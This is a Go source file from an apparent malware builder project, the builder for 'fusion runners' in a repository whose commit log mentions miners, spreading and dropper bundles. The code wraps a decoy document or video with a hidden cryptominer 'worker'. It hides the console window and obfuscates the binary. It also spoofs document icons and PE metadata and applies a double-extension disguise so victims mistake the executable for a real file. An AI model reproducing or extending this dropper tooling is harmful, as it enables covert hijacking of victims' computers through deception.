Files
AetherForge/server/internal/builder/fusion_media.go
AetherForge 8466c7aa9b fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
2026-06-04 20:41:44 -07:00

341 lines
11 KiB
Go

package builder
import (
"context"
"encoding/json"
"fmt"
"log"
"os"
"path/filepath"
"strings"
)
type fusionBuildResult struct {
LauncherPath string
MediaName string
// Legacy fields kept for backward compat — unused in file-fusion mode
EncryptedPath string
ShortcutPath string
}
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
func detectFusionPayloadKind(path string) string {
if strings.EqualFold(filepath.Ext(path), ".exe") {
return "exe"
}
return "file"
}
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
func (h *Handler) buildFusionFromRequest(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
platforms := platformsForRequest(req)
return h.buildFusionForPlatform(ctx, buildDir, payloadPath, workerPath, req, platforms[0])
}
// buildFusionForPlatform compiles a fusion runner for a single platform.
// Accepts any payload: PDF, video, document, image, or executable.
func (h *Handler) buildFusionForPlatform(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
kind := strings.TrimSpace(req.FusionPayloadKind)
if kind == "" {
kind = detectFusionPayloadKind(payloadPath)
}
req.FusionPayloadKind = kind
return h.buildFileFusion(ctx, buildDir, payloadPath, workerPath, req, platform)
}
// buildFileFusion builds a universal fusion runner for any file type.
//
// Delivery modes:
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
//
// The runner, when executed, opens the original file with the OS default application
// while silently installing the worker miner in the background.
func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
mode := normalizeFusionMediaMode(req.FusionMediaMode)
// Resolve the display name for the payload file
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
if mediaName == "" {
mediaName = filepath.Base(payloadPath)
}
mediaName = sanitizeFileName(mediaName)
// Resolve the runner output name
outputName := strings.TrimSpace(req.FusionOutputName)
if outputName == "" {
outputName = runnerNameForFile(mediaName, platform)
} else {
// Ensure correct extension for this platform
if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
outputName += platform.Ext
} else if platform.Ext == "" {
outputName = strings.TrimSuffix(outputName, ".exe")
}
}
outputName = sanitizeFileName(outputName)
kind := req.FusionPayloadKind
if kind == "" {
kind = detectFusionPayloadKind(payloadPath)
}
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
if err != nil {
return nil, err
}
assetsDir := filepath.Join(fusionDir, "assets")
// Write worker binary into assets
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
return nil, err
}
// Write payload according to delivery mode
switch mode {
case "embedded":
// Bake the payload into the runner binary as assets/payload.bin
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
return nil, err
}
// Keep legacy placeholders so the embed directive compiles cleanly
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
return nil, err
}
default: // "paired"
// Empty placeholders — payload ships alongside the runner in the ZIP
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
return nil, err
}
}
// Write manifest for the runner to read at runtime
manifestFields := map[string]string{
"payload_kind": kind,
"media_mode": mode,
"media_file_name": mediaName,
}
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
return nil, err
}
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
ldflags := ldflagsFor(req, platform)
// Force GUI subsystem (no console window) for all fusion runners
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
ldflags += " -H windowsgui"
}
obfuscateLauncher := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, obfuscateLauncher, platform); err != nil {
return nil, err
}
// Windows: inject the system icon + spoofed PE version info so the runner
// looks exactly like the real file type (PDF icon, Word icon, etc.)
if platform.GOOS == "windows" && kind != "exe" {
payloadExt := strings.ToLower(filepath.Ext(mediaName))
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
// Non-fatal — runner still works without the disguise
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
}
}
return &fusionBuildResult{
LauncherPath: launcherPath,
MediaName: mediaName,
}, nil
}
// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
fusionSrc := filepath.Join(h.projectRoot, "fusion")
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
}
fusionDir := filepath.Join(buildDir, "fusion")
assetsDir := filepath.Join(fusionDir, "assets")
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return "", err
}
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
if err != nil {
return "", err
}
mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName)
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil {
return "", err
}
for _, name := range []string{
"go.mod",
"shell_windows.go", "hidden_windows.go",
"media_windows.go", "media_linux.go", "media_darwin.go",
"media_crypto.go", "cache_windows.go", "cache_unix.go",
"lock_hint_windows.go", "lock_hint_stub.go",
} {
src := filepath.Join(fusionSrc, name)
if _, err := os.Stat(src); err != nil {
continue
}
if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil {
return "", err
}
}
return fusionDir, nil
}
func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte {
order := normalizeFusionOrder(runOrder)
out := string(src)
repl := map[string]string{
`"FUSION_RUN_ORDER"`: fmt.Sprintf("%q", order),
`"FUSION_PAYLOAD_KIND"`: fmt.Sprintf("%q", payloadKind),
`"FUSION_MEDIA_MODE"`: fmt.Sprintf("%q", mediaMode),
`"FUSION_MEDIA_FILE"`: fmt.Sprintf("%q", mediaFileName),
}
for old, newVal := range repl {
out = strings.Replace(out, old, newVal, 1)
}
return []byte(out)
}
func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error {
return writeFusionManifestEx(assetsDir, map[string]string{
"payload_kind": payloadKind,
"media_mode": mediaMode,
"media_file_name": mediaFileName,
})
}
func writeFusionManifestEx(assetsDir string, fields map[string]string) error {
raw, err := json.Marshal(fields)
if err != nil {
return err
}
return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644)
}
func normalizeFusionMediaMode(mode string) string {
switch strings.ToLower(strings.TrimSpace(mode)) {
case "embedded":
return "embedded"
default:
return "paired"
}
}
// runnerNameForFile generates the output runner binary name for a given payload filename.
//
// On Windows, non-exe payloads use the double-extension trick:
//
// "quarterly-report.pdf" → "quarterly-report.pdf.exe"
//
// When Windows hides known file extensions (the OS default), the user sees
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
//
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
ext := strings.ToLower(filepath.Ext(mediaName))
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
if base == "" {
base = "runner"
}
if platform.GOOS == "windows" {
// Use disguisedRunnerName which handles double-extension and sanitisation
return disguisedRunnerName(mediaName)
}
// Linux / macOS: simple "-runner" name, no double extension
name := sanitizeFileName(base + "-runner")
_ = ext // extension not needed for Unix names
if platform.Ext != "" {
return name + platform.Ext
}
return name
}
// fusionExportSubdir returns the output subfolder name for the deliverable.
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
return sanitizeDirName(s)
}
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
if base == "" {
base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName))
}
if base == "" {
base = sanitizeFileName(req.WorkerName)
}
return sanitizeDirName(base)
}
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
subdir = sanitizeDirName(subdir)
if subdir == "" {
return "", nil
}
root := h.projectRoot
if root == "" || root == "." {
root = h.dataDir
}
if root == "" {
return "", fmt.Errorf("no project root or data directory for fusion deliverables")
}
destDir := filepath.Join(root, FusionDeliverablesDir, subdir)
if err := os.MkdirAll(destDir, 0755); err != nil {
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
}
for name, src := range artifacts {
if src == "" {
continue
}
dest := filepath.Join(destDir, sanitizeFileName(name))
if err := copyFile(src, dest); err != nil {
return "", fmt.Errorf("failed to export %s: %w", name, err)
}
}
readmePath := filepath.Join(destDir, "README.txt")
if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil {
return "", fmt.Errorf("failed to write README.txt: %w", err)
}
log.Printf("[Builder] Fusion deliverables -> %s", destDir)
return destDir, nil
}
func sanitizeDirName(name string) string {
name = strings.TrimSpace(name)
if name == "" {
return ""
}
name = filepath.Base(name)
var b strings.Builder
for _, r := range name {
switch {
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.':
if r == ' ' {
b.WriteRune('_')
} else {
b.WriteRune(r)
}
}
}
out := strings.Trim(b.String(), "._")
if out == "" {
return "title"
}
return out
}